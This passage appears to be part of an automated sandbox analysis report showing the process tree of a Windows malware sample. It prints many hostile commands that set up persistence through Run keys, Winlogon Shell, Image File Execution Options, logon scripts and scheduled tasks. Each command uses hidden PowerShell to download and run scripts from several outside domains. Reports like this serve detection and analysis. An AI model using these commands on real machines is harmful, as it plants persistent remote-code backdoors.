                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                    2⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:5628
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                      3⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:5908
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                    2⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:6076
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                      3⤵
                                                                                                      • Adds Run key to start application
                                                                                                      PID:5252
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                    2⤵
                                                                                                      PID:5276
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                        3⤵
                                                                                                        • Adds Run key to start application
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:2024
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                      2⤵
                                                                                                        PID:5420
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                          3⤵
                                                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:5580
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                        2⤵
                                                                                                          PID:3312
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                            3⤵
                                                                                                            • Modifies WinLogon for persistence
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:5508
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                          2⤵
                                                                                                          • Executes a command shell one-liner
                                                                                                          PID:2612
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
                                                                                                            3⤵
                                                                                                            • Registers new Windows logon scripts automatically executed at logon.
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:5776
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc onlogon /f
                                                                                                          2⤵
                                                                                                            PID:5648
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc onlogon /f
                                                                                                              3⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:6124
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                            2⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:4416
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                              3⤵
                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                              PID:5208
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                            2⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:5248
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                              3⤵
                                                                                                              • Adds Run key to start application
                                                                                                              PID:4324
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                            2⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:5416
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                              3⤵
                                                                                                              • Adds Run key to start application
                                                                                                              PID:4676
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                            2⤵
                                                                                                              PID:5608
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                                3⤵
                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                PID:5508
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                              2⤵
                                                                                                              • Executes a command shell one-liner
                                                                                                              PID:3464
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                3⤵
                                                                                                                  PID:5908
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                                  3⤵
                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:4196
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:5916
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
                                                                                                                  3⤵
                                                                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                  PID:6120
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc onlogon /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2900
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc onlogon /f
                                                                                                                  3⤵
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:1136
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:6004
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                  3⤵
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:1468
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:2340
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                  3⤵
                                                                                                                  • Adds Run key to start application
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1772
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:1324
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                  3⤵
                                                                                                                  • Adds Run key to start application
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2476
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:532
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                  3⤵
                                                                                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                  PID:5252
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                2⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:6036
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  3⤵
                                                                                                                    PID:4656
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                    3⤵
                                                                                                                    • Adds Run key to start application
                                                                                                                    PID:2480
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                  2⤵
                                                                                                                    PID:5156
                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                      3⤵
                                                                                                                        PID:5280
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                        3⤵
                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:5252
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                      2⤵
                                                                                                                        PID:5540
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                          3⤵
                                                                                                                          • Adds Run key to start application
                                                                                                                          PID:3656
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                        2⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2344
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /f
                                                                                                                          3⤵
                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                          PID:6152
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc onlogon /f
                                                                                                                        2⤵
                                                                                                                          PID:5516
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc onlogon /f
                                                                                                                            3⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                            PID:2476
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                          2⤵
                                                                                                                            PID:2084
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                              3⤵
                                                                                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                              PID:6172
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                            2⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:5556
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fomo444slot.co/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                              3⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:6188
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                            2⤵
                                                                                                                              PID:5932
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                                3⤵
                                                                                                                                • Modifies WinLogon for persistence
                                                                                                                                PID:6164
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                              2⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:5668
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /f
                                                                                                                                3⤵
                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                PID:6324
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc onlogon /f
                                                                                                                              2⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:3160
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc onlogon /f
                                                                                                                                3⤵
                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                PID:6452
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                              2⤵
                                                                                                                                PID:4840
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://x88.cheap/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                  3⤵
                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                  PID:6432
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                2⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:6480
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                  3⤵
                                                                                                                                  • Adds Run key to start application
                                                                                                                                  PID:6900
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                2⤵
                                                                                                                                  PID:6556
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                    3⤵
                                                                                                                                    • Adds Run key to start application
                                                                                                                                    PID:6972
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                  2⤵
                                                                                                                                    PID:6608
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\"" /f
                                                                                                                                      3⤵
                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                      PID:7100
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
